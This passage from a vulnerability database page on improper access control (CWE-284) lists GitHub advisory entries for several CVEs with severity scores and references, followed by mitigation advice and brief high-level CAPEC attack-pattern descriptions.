      "type": "CVSS_V4"
    }
  ]
}

GHSA-4R78-3C9H-2X2H

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35
VLAI
Details

Vulnerability in the PeopleSoft Enterprise CS Student Financials product of Oracle PeopleSoft (component: Other). The supported version that is affected is 9.2.38. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise CS Student Financials. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise CS Student Financials accessible data as well as unauthorized access to critical data or complete access to all PeopleSoft Enterprise CS Student Financials accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-46849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T10:54:02Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the PeopleSoft Enterprise CS Student Financials product of Oracle PeopleSoft (component: Other).   The supported version that is affected is 9.2.38. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise CS Student Financials.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise CS Student Financials accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise CS Student Financials accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).",
  "id": "GHSA-4r78-3c9h-2x2h",
  "modified": "2026-06-17T18:35:31Z",
  "published": "2026-06-17T18:35:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46849"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspujun2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4R8P-GH25-7C48

Vulnerability from github – Published: 2025-04-14 12:30 – Updated: 2025-04-14 12:30
VLAI
Details

A vulnerability classified as critical was found in huanfenz/code-projects StudentManager 1.0. This vulnerability affects unknown code of the file /upload/uploadArticle.do of the component Announcement Management Section. The manipulation of the argument File leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-3565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-14T12:15:16Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical was found in huanfenz/code-projects StudentManager 1.0. This vulnerability affects unknown code of the file /upload/uploadArticle.do of the component Announcement Management Section. The manipulation of the argument File leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-4r8p-gh25-7c48",
  "modified": "2025-04-14T12:30:37Z",
  "published": "2025-04-14T12:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3565"
    },
    {
      "type": "WEB",
      "url": "https://github.com/buluorifu/Vulnerability-recurrence/blob/main/Refer/StudentManager-xss.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.304606"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.304606"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.549316"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4RCC-HGJ8-2RW6

Vulnerability from github – Published: 2024-08-20 21:30 – Updated: 2024-08-20 21:30
VLAI
Details

An improper access control vulnerability in the Azure Managed Instance for Apache Cassandra allows an authenticated attacker to elevate privileges over a network.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-38175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-20T19:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "An improper access control vulnerability in the Azure Managed Instance for Apache Cassandra allows an authenticated attacker to elevate privileges over a network.",
  "id": "GHSA-4rcc-hgj8-2rw6",
  "modified": "2024-08-20T21:30:35Z",
  "published": "2024-08-20T21:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38175"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4RH3-RMH3-HV6H

Vulnerability from github – Published: 2026-06-20 15:32 – Updated: 2026-07-10 18:32
VLAI
Details

A vulnerability in the iCagenda extension for Joomla allows the upload of arbitrary files in the file attachment feature, ultimately resulting in PHP code upload and execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red
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{
  "affected": [],
  "aliases": [
    "CVE-2026-48939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-20T13:16:42Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the iCagenda extension for Joomla allows the upload of arbitrary files in the file attachment feature, ultimately resulting in PHP code upload and execution.",
  "id": "GHSA-4rh3-rmh3-hv6h",
  "modified": "2026-07-10T18:32:02Z",
  "published": "2026-06-20T15:32:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Polosss/By-Poloss..-..CVE-2026-48939"
    },
    {
      "type": "WEB",
      "url": "https://mysites.guru/blog/icagenda-zero-day-file-upload-rce"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48939"
    },
    {
      "type": "WEB",
      "url": "https://www.icagenda.com"
    },
    {
      "type": "WEB",
      "url": "https://www.icagenda.com/docs/changelog/icagenda-3-9-15"
    },
    {
      "type": "WEB",
      "url": "https://www.icagenda.com/docs/changelog/icagenda-4-0-8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:X/U:Red",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4RMW-G454-GQ8G

Vulnerability from github – Published: 2024-09-07 18:30 – Updated: 2024-09-07 18:30
VLAI
Details

An improper access control vulnerability allows low-privileged users to execute code with Administrator privileges remotely.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-42023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-07T17:15:14Z",
    "severity": "HIGH"
  },
  "details": "An improper access control vulnerability allows low-privileged users to execute code with Administrator privileges remotely.",
  "id": "GHSA-4rmw-g454-gq8g",
  "modified": "2024-09-07T18:30:24Z",
  "published": "2024-09-07T18:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42023"
    },
    {
      "type": "WEB",
      "url": "https://www.veeam.com/kb4649"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4RP7-PGV4-J9JJ

Vulnerability from github – Published: 2024-03-02 00:31 – Updated: 2024-08-28 21:31
VLAI
Details

Incorrect access control in Book Store Management System v1 allows attackers to access unauthorized pages and execute administrative functions without authenticating.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-49543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-01T22:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "Incorrect access control in Book Store Management System v1 allows attackers to access unauthorized pages and execute administrative functions without authenticating.",
  "id": "GHSA-4rp7-pgv4-j9jj",
  "modified": "2024-08-28T21:31:26Z",
  "published": "2024-03-02T00:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49543"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geraldoalcantara/CVE-2023-49543"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/Top10/A01_2021-Broken_Access_Control"
    },
    {
      "type": "WEB",
      "url": "https://www.sourcecodester.com/php/15748/book-store-management-system-project-using-php-codeigniter-3-free-source-code.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4RPX-HQR3-RP6M

Vulnerability from github – Published: 2022-05-14 02:22 – Updated: 2022-05-14 02:22
VLAI
Details

Microsoft Office 2007 SP3 allows remote attackers to cause a denial of service (application hang) via a crafted Office document, aka "Microsoft Office Denial of Service Vulnerability."

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2016-7244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-11-10T06:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Office 2007 SP3 allows remote attackers to cause a denial of service (application hang) via a crafted Office document, aka \"Microsoft Office Denial of Service Vulnerability.\"",
  "id": "GHSA-4rpx-hqr3-rp6m",
  "modified": "2022-05-14T02:22:17Z",
  "published": "2022-05-14T02:22:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7244"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-133"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/94029"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1037246"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-1
Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts

An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.

CAPEC-441: Malicious Logic Insertion

An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.

CAPEC-478: Modification of Windows Service Configuration

An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.

CAPEC-479: Malicious Root Certificate

An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.

CAPEC-502: Intent Spoof

An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.

CAPEC-503: WebView Exposure

An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.

CAPEC-536: Data Injected During Configuration

An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.

CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment

An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.

CAPEC-550: Install New Service

When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-552: Install Rootkit

An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.

CAPEC-556: Replace File Extension Handlers

When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.

CAPEC-558: Replace Trusted Executable

An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.

CAPEC-562: Modify Shared File

An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.

CAPEC-563: Add Malicious File to Shared Webroot

An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.

CAPEC-564: Run Software at Logon

Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.

CAPEC-578: Disable Security Software

An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.

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